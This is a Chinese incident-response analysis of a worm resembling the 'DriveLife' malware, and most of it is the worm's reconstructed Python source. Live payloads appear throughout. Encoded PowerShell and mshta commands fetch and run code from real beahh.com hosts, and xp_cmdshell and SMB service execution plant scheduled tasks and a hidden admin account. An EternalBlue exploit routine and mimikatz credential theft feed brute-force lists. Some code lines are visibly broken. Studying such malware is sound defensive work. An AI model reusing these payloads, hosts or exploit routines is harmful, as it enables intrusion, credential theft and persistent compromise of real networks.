                                    db.execute_query("""xp_cmdshell 'cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&netsh firewall add portopening tcp 65533 DNSsql&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53'""")
                                    num = num + 1
                            else:
                                db.execute_query("""xp_cmdshell 'cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&netsh firewall add portopening tcp 65533 DNSsql&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53'""")
                                print('[*] doing cmdshell')
                                num = num + 1
                            db.close()
                        except:
                            print('*')
                            pass

在这次应急的过程中,一共发现了2台SQL Server,5台445端口的机器被攻击,这个函数就是主要针对SQL Server弱口令进行攻击的过程。

首先判断1433端口是否开启,开启后使用msuserpasslist字典进行口令爆破,爆破成功后登录SQL Server数据库使用xp_cmdshell来执行命令,这也是为什么当时在SQL Server日志中看到了xp_cmdshell的使用日志。

在这里,程序会修改防火墙规则添加一个名为k8h3d的账户,将该账户权限设置为administrator

在添加完成后程序还会很”贴心的“帮你把SQL Server的弱口令给修改了,是的,非常贴心,以至于在当时应急的时候扫描SQL Server的弱口令都没扫描出来,甚至怀疑他不是从这打进去的。

并且还会检查445端口是否开放,如果开放就执行上面的一套流程,如果没开放就是用xp_cmdshell来进行添加计划任务等等的一系列操作。

# 解析 SMB 会话并上传恶意文件
def parse_smb_session_and_upload_malware(conn, arch, tg):
    ee = ''
    JNwMqWYOE = ''
    smbConn = conn.get_smbconnection()
    
    try:
        with JNwMqWYOa(JNwMqWYOQ(-11024, tagname='716C71426C42714', access=JNwMqWYOC)) as m:
            s = m.read(1024).replace('\x00''')
            if JNwMqWYjr(s) > 4:
                s = s.split(".exe")[0] + ".exe"
                JNwMqWYOE = s
            else:
                JNwMqWYOE = "0"
    except:
        JNwMqWYOE = "0"
    
    execute_remote_service(conn, r'cmd /c net share c$=c:\\')
    
    if JNwMqWYOE == '0':
        print('no dl.exe')
    else:
        try:
            upload_file_to_remote_path(smbConn, JNwMqWYOE, 'c''/windows/temp/installed.exe')
        except:
            pass
    
    try:
        ee = JNwMqWYOx.realpath(JNwMqWYja[0])
    except:
        pass
    
    try:
        upload_file_to_remote_path(smbConn, ee, 'c''/windows/temp/msInstall.exe')
    except:
        pass
    else:
        print('[*] no eb**************************')
    
    if '.exe' in digdir:
        digname = JNwMqWYAj()
        upload_file_to_remote_path(smbConn, digdir, 'c''/windows/temp/' + digname + '.exe')
        
        if tg == 2:
            bat = f'''cmd /c echo {JNwMqWYAj()} >> c:\\windows\\temp\\msInstall.exe&echo copy /y c:\\windows\\temp\\msInstall.exe c:\\windows\\{ebname}.exe>c:/windows/temp/p.bat&echo "*" >c:\\windows\\temp\\eb.txt&echo move /y c:\\windows\\temp\\{digname}.exe c:\\windows\\ >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F^&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\\{JNwMqWYAj()}" /tr "c:\\windows\\{digname}.exe" /F^&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn '{ebsname}' /tr "c:\\windows\\{ebname}.exe" /F) else ^(start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^&schtasks /delete /TN Autostart /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\\windows\\{digname}.exe"^&schtasks /run /TN Autostart^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\\windows\\temp\\installed.exe"^&schtasks /run /TN Autoload^&schtasks /delete /TN '{ebsname}' /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN '{ebsname}' /tr "c:\\windows\\{ebname}.exe"^&schtasks /run /TN '{ebsname}'^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in ('tasklist ^^^| find /c /i "cmd.exe"') do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&echo c:\\windows\\temp\\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\\windows\\temp\\installed.exe'''
        else:
            # 省略部分代码,类似上面的处理
            pass
        
        try:
            execute_remote_service(conn, bat)
        except:
            pass

# 上传文件到远程路径
def upload_file_to_remote_path(smbConn, localSrc, remoteDrive, remotePath):
    with open(localSrc, 'rb'as fp:
        smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

建立SMB连接,建立连接后判断是否需要上传文件,之后通过execute_remote_service在远程计算机上执行命令共享c盘cmd /c net share c$=c:\\,上传文件到temp目录下,并执行文件,进行一系列的计划任务等等的操作。

在这段函数中,程序会读取内存中的数据,判断数据的长度是否大于4,和一开始的程序更新的函数大致相同,如果大于4就将读取的数据处理成.exe文件,上传到共享的目标机器的c盘中,否则就不上传。

在实际被攻击的那几台机器中,并没有被上传文件。

继续往下看。

# 通过RPC远程连接计算机执行命令
def execute_remote_service(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr
    
    service_name = ''.join(random.choice(string.ascii_letters) for i in range(4))
    rpcsvc = conn.get_dce_rpc('svcctl')
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    
    svcHandle = None
    try:
        print("Opening SVCManager on %s....." % conn.get_remote_host())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']
        
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
        except Exception as e:
            if 'ERROR_SERVICE_DOES_NOT_EXIST' not in str(e):
                raise e
        else:
            scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
        
        print('Creating service %s.....' % service_name)
        resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        serviceHandle = resp['lpServiceHandle']
        
        if serviceHandle:
            try:
                print('Starting service %s.....' % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)
                time.sleep(2)
            except Exception as e:
                print(str(e))
            time.sleep(3)
            print('Removing service %s.....' % service_name)
            scmr.hRDeleteService(rpcsvc, serviceHandle)
            scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
    except Exception as e:
        print("ServiceExec Error on: %s" % conn.get_remote_host())
        print(str(e))
        scmr.hRDeleteService(rpcsvc, serviceHandle)
    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
    rpcsvc.disconnect()

针对445端口永恒之蓝漏洞的主要攻击函数如下:

def exploit_target(target, shellcode, numGroomConn):
    try:
        conn = JNwMqWYjB(target, target)  # 创建与目标的连接
        conn.login_standard('''')  # 使用标准登录方法登录
        server_os = conn.get_server_os()  # 获取目标服务器的操作系统
        print('Target OS: ' + server_os)
        
        # 检查目标操作系统是否受支持
        if not (server_os.startswith("Windows 7 "or (server_os.startswith("Windows Server "and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
            print('This exploit does not support this target')
        
        # 连接到目标的IPC树
        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC')
        progress = JNwMqWYAm(conn, tid, 0, feaList, '\x00' * 302000False)  # 发送SMB交易请求
        allocConn = JNwMqWYAd(target, NTFEA_SIZE - 0x1010)  # 分配非分页内存池
        srvnetConn = []
        
        # 创建多个到目标的连接
        for i in range(numGroomConn):
            sk = JNwMqWYAg(target)
            srvnetConn.append(sk)
        
        holeConn = JNwMqWYAd(target, NTFEA_SIZE - 0x10)  # 创建一个空洞连接
        allocConn.get_socket().close()  # 关闭分配连接的套接字
        
        # 创建更多到目标的连接
        for i in range(5):
            sk = JNwMqWYAg(target)
            srvnetConn.append(sk)
        
        holeConn.get_socket().close()  # 关闭空洞连接的套接字
        JNwMqWYAb(conn, tid, feaList[progress:], progress)  # 发送剩余的SMB交易请求
        recvPkt = conn.recvSMB()  # 接收响应包
        retStatus = recvPkt.getNTStatus()
        
        if retStatus == 0xc000000d:
            print('good response status: INVALID_PARAMETER')
        else:
            print('bad response status: 0x{:08x}'.format(retStatus))
        
        # 发送伪造的接收结构和shellcode到目标
        for sk in srvnetConn:
            sk.send(fake_recv_struct + shellcode)
        
        # 关闭所有的srvnet连接
        for sk in srvnetConn:
            sk.close()
        
        conn.disconnect_tree(tid)  # 断开与IPC树的连接
        conn.logoff()  # 注销连接
        conn.get_socket().close()  # 关闭连接的套接字
        time.sleep(2)  # 等待2秒
    except:
        lock2.release()  # 释放锁

创建和目标用户的连接,获取系统的版本号,判断是否是Windows7、Windows server 2008和Windows vista等,发送shellcode到目标机器来执行命令。

在后期的排查中,我们发现其中有5台被攻击的机器是Windows7,均开放了445端口并且没有打永恒之蓝的补丁。

# 启动漏洞利用
def exploit(target, shellcode, numGroomConn):
    import threading
    
    threads = []
    
    for i in range(3):
        t = threading.Thread(target=JNwMqWYAs, args=(target, shellcode, numGroomConn))
        t.start()
        threads.append(t)
    
    for t in threads:
        t.join()
    
    print("Exploit finished")
# 使用PSEXEC工具在远程系统上执行命令
if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe ...').run(ip) == JNwMqWYjv:
    print '[*] psexec  succ by eb user!'
    num = num + 1
    return
except:
    print 'no user'
    try:
        JNwMqWYAP(ip, sc, 13)
        try:
            print 'exp again'
            if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe ...').run(ip) == JNwMqWYjv:
                print '[*] psexec  succ by eb user!'
                num = num + 1
                return
            except:
                print 'no user 2'
            lock3.release()
        except:
            print "[*] maybe crash"
            JNwMqWYju(6)
            try:
                print 'exp again'
                if PSEXEC(ee2, dl, 'cmd.exe /c echo ' + JNwMqWYAj() + ' >> c:\\windows\\temp\\svchost.exe ...').run(ip) == JNwMqWYjv:
                    print '[*] psexec  succ by eb user!'
                    num = num + 1
                    return
                except:
                    print 'no user 3'
                lock3.release()
    elif "Windows 5.1" in os:
        if check_port_open(ip, 65533) == 0:
            print "[+] exploit..." + ip + "   xp"
            try:
                JNwMqWYAK(ip, JNwMqWYjf, '''', tg)
            except:
                print 'not succ'
    elif "Windows Server 2003" in os:
        if check_port_open(ip, 65533) == 0:
            print "[+] exploit..." + ip + "   win2k3"
            try:
                JNwMqWYAK(ip, JNwMqWYjf, '''', tg)
            except:
                print 'not succ'
    else:
        if check_port_open(ip, 65533) == 0:
            print "[+] exploit..." + ip + "   *************************other os"
            JNwMqWYAP(ip, sc, 13)
            for u in userlist:
                for p in passlist:
                    try:
                        JNwMqWYAK(ip, JNwMqWYjf, u, p, tg)
                    except:
                        pass
else:
    print "[-] [%s](%s) stays in safety" % (ip, os)
s.close()

程序启动3个线程对目标机器进行攻击,先使用psexec来执行命令,如果执行失败就使用永恒之蓝漏洞进行攻击。

def replace_exe_files():
    for filename in JNwMqWYOv('C:\\windows\\'):
        if ".exe" in filename:
            if JNwMqWYOx.getsize(JNwMqWYOx.join('C:\\windows\\', filename)) == 6271136:
                print filename
                keb = JNwMqWYOt(
                    'cmd /c taskkill /f /im ' + filename + '&ping localhost&del ' +
                    JNwMqWYOx.join('C:\\windows\\', filename) + '&copy /y ' +
                    JNwMqWYOx.realpath(JNwMqWYja[0]) + ' c:\\windows\\' + filename,
                    stdout=JNwMqWYOh
                )
                return JNwMqWYOx.join('C:\\windows\\', filename)
            elif JNwMqWYOx.getsize(JNwMqWYOx.join('C:\\windows\\', filename)) == 6271280:
                print filename
                keb = JNwMqWYOt(
                    'cmd /c taskkill /f /im ' + filename + '&ping localhost&del ' +
                    JNwMqWYOx.join('C:\\windows\\', filename) + '&copy /y ' +
                    JNwMqWYOx.realpath(JNwMqWYja[0]) + ' c:\\windows\\' + filename,
                    stdout=JNwMqWYOh
                )
                return JNwMqWYOx.join('C:\\windows\\', filename)
            else:
                continue

try:
    replace_exe_files()
except:
    pass

replace_exe_files函数判断c盘Windows文件夹下的exe有没有大小6,271,136和6,271,280的文件,如果有就输出文件名,使用cmd命令终止该程序进程,删除该文件,然后将新的程序拷贝到该目录下。

这里一开始我以为程序的更新,通过大小来判断是不是最新版本,但是好像不太对,因为一开始程序运行的时候就已经检查了是不是最新版本,通过查看网上的分析文章说这里是杀掉系统本身的svchost.exe进程,把自己拷贝到svchost.exe所在目录下再运行,为了更好地隐藏自己,但是系统本身的svchost.exe也没有这么大呢,我也没在Windwos目录下找到这两个大小的文件。

def check_and_load_mimikatz():
    musr = ""
    global userlist2, passlist, domainlist, domainpass, domainuser, passdict, sa
    if JNwMqWYOx.exists('C:\\windows\\system32\\WindowsPowerShell\\'):      #判断powershell路径是否存在

        # 判断m2.sp1和mkatz.ini是否存在,不存在重新加载执行
        if JNwMqWYOx.exists("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + '\\\\m2.ps1'):
            if JNwMqWYOx.exists("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + '\\\\mkatz.ini'):
                print 'mkatz.ini exist'
                mtime = JNwMqWYOx.getmtime("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + '\\\\mkatz.ini')
                mnow = JNwMqWYjl(JNwMqWYjH())
                if (mnow - mtime) / 60 / 60 < 150:
                    musr = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\mkatz.ini""r").read()   # 如果mkatz.inin文件存在读取
                else:
                    print "reload mimi"        # 否则输出reload mimi 执行m2.sp1
                    if 'PROGRAMFILES(X86)' in JNwMqWYOT:
                        usr = JNwMqWYOt(
                            "C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                    else:
                        usr = JNwMqWYOt(
                            "powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                    musr = usr.stdout.read()
                    fmk = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\mkatz.ini""w")
                    fmk.write(musr)
                    fmk.close()
            else:
                print "reload mimi"
                if 'PROGRAMFILES(X86)' in JNwMqWYOT:
                    usr = JNwMqWYOt(
                        "C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                else:
                    usr = JNwMqWYOt(
                        "powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",
                        stdout=JNwMqWYOh
                    )
                musr = usr.stdout.read()
                fmk = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\mkatz.ini""w")
                fmk.write(musr)
                fmk.close()
        else:
            fm = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\m2.ps1""w")
            fm.write(mkatz)
            fm.close()
            JNwMqWYju(2)
            if JNwMqWYOx.exists("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + '\\mkatz.ini'):
                print 'mkatz.ini exist'
                mtime = JNwMqWYOx.getmtime("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + '\\\\mkatz.ini')
                mnow = JNwMqWYjl(JNwMqWYjH())
                if (mnow - mtime) / 60 / 60 < 150:
                    print "reload mimi"
                    musr = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\mkatz.ini""r").read()
                else:
                    print "reload mimi"
                    if 'PROGRAMFILES(X86)' in JNwMqWYOT:
                        usr = JNwMqWYOt(
                            "C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                    else:
                        usr = JNwMqWYOt(
                            "powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                    musr = usr.stdout.read()
                    fmk = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\mkatz.ini""w")
                    fmk.write(musr)
                    fmk.close()
            else:
                print "reload mimi"
                if 'PROGRAMFILES(X86)' in JNwMqWYOT:
                    usr = JNwMqWYOt(
                        "C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                else:
                    usr = JNwMqWYOt(
                        "powershell.exe -exec bypass \\"import-module " +"\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1\\"",stdout=JNwMqWYOh)
                musr = usr.stdout.read()
                fmk = JNwMqWYjp("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\mkatz.ini""w")
                fmk.write(musr)
                fmk.close()
        usern = ''
        lmhash = ''
        nthash = ''
        tspkg = ''
        wdigest = ''
        kerberos = ''
        domain = ''
        usernull = ''

        # 解析mimikatz输出   把获取的账号和密码添加劲userlist2和passlist中方便后面攻击爆破使用
        try:
            if "* LM" in musr:
                mmlist = musr.split('* LM')
                del mmlist[0]
                for i in mmlist:
                    domaint = i.split('Domain   :')[1].split('\n')[0].strip()
                    for ii in i.split('Authentication')[0].split('Username :')[1:]:
                        unt = ii.split('\n')[0].strip()
                        if "Guest" == unt:
                            continue
                        userlist2.append(unt)
                    for ii in i.split('Authentication')[0].split('Password :')[1:]:
                        pwdt = ii.split('\n')[0].strip()
                        if pwdt != '(null)':
                            passlist.append(pwdt)
                            passdict.append(pwdt)
                            passdict = JNwMqWYjU(JNwMqWYjD(passdict))
                    if domaint in domianusr:
                        if pwdt != '(null)':
                            domainlist.append(domaint)
                            if "\\\\" in unt:
                                domainuser.append(unt.split("\\\\")[1])
                            else:
                                domainuser.append(unt)
                            domainpass.append(pwdt)
                            domainlist = JNwMqWYjU(JNwMqWYjD(domainlist))
                            domainuser = JNwMqWYjU(JNwMqWYjD(domainuser))
                            domainpass = JNwMqWYjU(JNwMqWYjD(domainpass))
                    passlist = JNwMqWYjU(JNwMqWYjD(passlist))
                    userlist2 = JNwMqWYjU(JNwMqWYjD(userlist2))
            else:
                print 'nobody logon'
            if "* NTLM" in musr:
                mmlist = musr.split('* NTLM')
                del mmlist[0]
                for i in mmlist:
                    NThash = i.split(':')[1].split('\n')[0].strip()
                    ntlist.append(NThash)
        except:
            pass
            print 'except3'
        print "mimi over"
    else:
        pass
        print "no ps mmka"

    try:
        ee2.append(JNwMqWYOx.realpath(JNwMqWYja[0]) + '.eb')
    except:
        pass

    try:
        # 获取域名
        dousr = JNwMqWYOt("cmd /c wmic ntdomain get domainname", stdout=JNwMqWYOh)
        domianusr = dousr.stdout.read()
        
        # 获取管理员组成员
        dousr = JNwMqWYOt("cmd /c net localgroup administrators", stdout=JNwMqWYOh)
        dur = dousr.stdout.read()
        
        # 判断k8h3d是否在管理员组成员中,如果在则删除,k8h3d为病毒程序添加的用户
        if "k8h3d" in dur:
            usr1 = JNwMqWYOt("cmd /c net user k8h3d /del", stdout=JNwMqWYOh)

        # 将本地管理员组的成员添加到userlist2中
        luser = dur.split("----")
        del luser[0]
        luser = ''.join(luser).split("\r\n")[:-3]
        for c in luser:
            if "-" in c:
                continue
            for j in c.split(" "):
                if "" == j:
                    continue
                if "Guest" == j:
                    continue
                userlist2.append(j.strip())
                
        # 获取域管理员列表,添加到domainadmin中
        dousr2 = JNwMqWYOt('cmd /c net group "domain admins" /domain', stdout=JNwMqWYOh).stdout.read()
        if "---" in dousr2:
            douser = dousr2.split("----")
            del douser[0]
            douser = ''.join(douser).split("\r\n")[:-3]
            for c in douser:
                if "-" in c:
                    continue
                for j in c.split(" "):
                    if "" == j:
                        continue
                    if "Guest" == j:
                        continue
                    domainadmin.append(j.strip())
                    
        # 尝试使用弱口令登录域管理员
        if JNwMqWYjr(domainadmin) != 0:
            for dadmin in domainadmin:
                for d in domainlist:
                    if d != '':
                        if PSEXEC(ee2, dl, 'cmd.exe', dadmin, '123456', d, '1').run('127.0.0.1'):
                            print "SMBdomainadmin Succ!"
                            domainsmb.append(dadmin + "*123456*" + d)
                        if PSEXEC(ee2, dl, 'cmd.exe', dadmin, 'password', d, '1').run('127.0.0.1'):
                            print "SMBdomainadmin Succ!"
                            domainsmb.append(dadmin + "*password*" + d)
    except:
        pass
        print "except 1"

    try:
        check_and_load_mimikatz()
    except:
        pass

    try:
        pcname = JNwMqWYOr(JNwMqWYOX())
    except:
        pcname = ""
        pass

这段代码尝试加载powershell版的mimikatz,读取生成的mkatz.ini文件,将获取到的用户名和密码添加到userlist2passlist列表中,方便后期进行爆破。

同时获取域管理员列表和本地管理员列表,添加进domainadminuserlist2中,尝试使用弱口令登录域管理员账号,还会判断k8h3d是否在管理员列表中,如果存在则删除该用户名,毕竟添加了用户名后太容易被发现了,病毒程序在利用完成后就删除,便于隐藏自己。

在这次现场的应急过程中,发现了被攻击的7台机器都被添加了k8h3d这个用户,但是因为系统不出网,没有文件落地,所以并没有执行删除用户的操作,在源头机器上,因为有文件落地,已经没有该用户了,通过查看Windows安全日志也确实可以发现添加和删除k8h3d的操作。

和程序一开始运行的输出一致:

def get_mac_address():
    try:
        ret = ''
        CmdLine = 'ipconfig /all'
        r = JNwMqWYOe(CmdLine).read()
        if r:
            L = JNwMqWYOF(' ([0-9,A-F]{2}-[0-9,A-F]{2}-[0-9,A-F]{2}-[0-9,A-F]{2}-[0-9,A-F]{2}-[0-9,A-F]{2})', r)
        if JNwMqWYjr(L) > 1:
            ret = L[0] + "," + L[1]
        elif JNwMqWYjr(L) > 0:
            ret = L[0]
    except:
        ret = "null"
    return JNwMqWYjX(ret)

mac = get_mac_address()
if JNwMqWYjr(passdict) != 0:
    mpass = "*".join(passdict)
else:
    mpass = ""
if JNwMqWYjr(salist) != 0:
    sa = "*".join(salist)
else:
    sa = ""
try:
    size = JNwMqWYjX(JNwMqWYOx.getsize(JNwMqWYOx.realpath(JNwMqWYja[0])))
except:
    print "except size"
    size = ""
bit = JNwMqWYOs()[0]
oss = JNwMqWYjX(JNwMqWYOg())
if JNwMqWYOx.exists('c:\\windows\\temp\\domain.txt'):
    fro = "domain"
elif JNwMqWYOx.exists('c:\\windows\\temp\\ipc.txt'):
    fro = "ipc"
elif JNwMqWYOx.exists('c:\\windows\\temp\\hash.txt'):
    fro = "hash"
elif JNwMqWYOx.exists('c:\\windows\\temp\\143.txt'):
    fro = "mssql"
elif JNwMqWYOx.exists('c:\\windows\\temp\\eb.txt'):
    fro = "eb"
elif JNwMqWYOx.exists('c:\\windows\\temp\\doadmin.txt'):
    fro = "doadmin"
else:
    fro = ""
try:
    filemt = JNwMqWYjI(JNwMqWYOR("\\\\".join(JNwMqWYOx.realpath(JNwMqWYja[0]).split("\\\\")[:-1]) + "\\\\m2.ps1").st_mtime)
    mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%M:%S", filemt))
except:
    try:
        if JNwMqWYOx.exists('c:\\windows\\temp\\domain.txt'):
            filemt = JNwMqWYjI(JNwMqWYOR("c:\\windows\\temp\\domain.txt").st_mtime)
            mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%M:%S", filemt))
        elif JNwMqWYOx.exists('c:\\windows\\temp\\ipc.txt'):
            filemt = JNwMqWYjI(JNwMqWYOR("c:\\windows\\temp\\ipc.txt").st_mtime)
            mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%M:%S", filemt))
        elif JNwMqWYOx.exists('c:\\windows\\temp\\hash.txt'):
            filemt = JNwMqWYjI(JNwMqWYOR("c:\\windows\\temp\\hash.txt").st_mtime)
            mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%M:%S", filemt))
        elif JNwMqWYOx.exists('c:\\windows\\temp\\143.txt'):
            filemt = JNwMqWYjI(JNwMqWYOR("c:\\windows\\temp\\143.txt").st_mtime)
            mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%S", filemt))
        elif JNwMqWYOx.exists('c:\\windows\\temp\\eb.txt'):
            filemt = JNwMqWYjI(JNwMqWYOR("c:\\windows\\temp\\eb.txt").st_mtime)
            mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%M:%S", filemt))
        elif JNwMqWYOx.exists('c:\\windows\\temp\\doadmin.txt'):
            filemt = JNwMqWYjI(JNwMqWYOR("c:\\windows\\temp\\doadmin.txt").st_mtime)
            mtime = JNwMqWYjX(JNwMqWYjo("%Y-%m-%d,%H:%M:%S", filemt))
        else:
            mtime = ""
    except:
        mtime = ""
        pass

try:
    localip = JNwMqWYOt("cmd /c ipconfig", stdout=JNwMqWYOh).stdout.read().split("IPv4")[1].split(":")[1].split("\r")[0].strip()
except:
    localip = ""
    pass

try:
    hostname = JNwMqWYOr(JNwMqWYOX())
except:
    hostname = ""
    pass

try:
    osver = JNwMqWYjX(JNwMqWYOg())
except:
    osver = ""
    pass

try:
    username = JNwMqWYOs()[1]
except:
    username = ""
    pass

try:
    domain = JNwMqWYOs()[2]
except:
    domain = ""
    pass

data = {
    'mac': mac,
    'passdict': mpass,
    'sa': sa,
    'size': size,
    'bit': bit,
    'oss': oss,
    'fro': fro,
    'mtime': mtime,
    'localip': localip,
    'hostname': hostname,
    'osver': osver,
    'username': username,
    'domain': domain
}

print(data)

获取当前系统的信息,包括MAC地址、操作系统位数、操作系统版本、IP地址、主机名、用户名和域名等等。

总结:

通过分析函数可以知道程序主要是对已有的ip和获取到的ip地址c段进行扫描,通过445端口SMB爆破、永恒之蓝漏洞和1433端口的SQL Server弱口令进行攻击,并通过计划任务来实现持久化,这也和我们排查的基本一致,和网上提到的18年到20年盛行的”驱动人生“病毒功能大差不差,值得注意的是该病毒在攻击的过程中没有文件落地,而是使用了计划任务+powershell的方式,这样能够更好的隐蔽自己,增加了查杀和溯源的难度。

